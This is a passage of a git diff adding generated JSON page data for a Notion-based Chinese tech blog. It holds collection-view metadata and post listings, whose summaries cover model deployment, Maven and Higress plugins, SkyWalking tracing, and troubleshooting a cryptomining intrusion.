ible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},"next":{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240319-xmrig.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240319-xmrig.json new file mode 100644 index 000000000..d2108e9a5 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240319-xmrig.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos 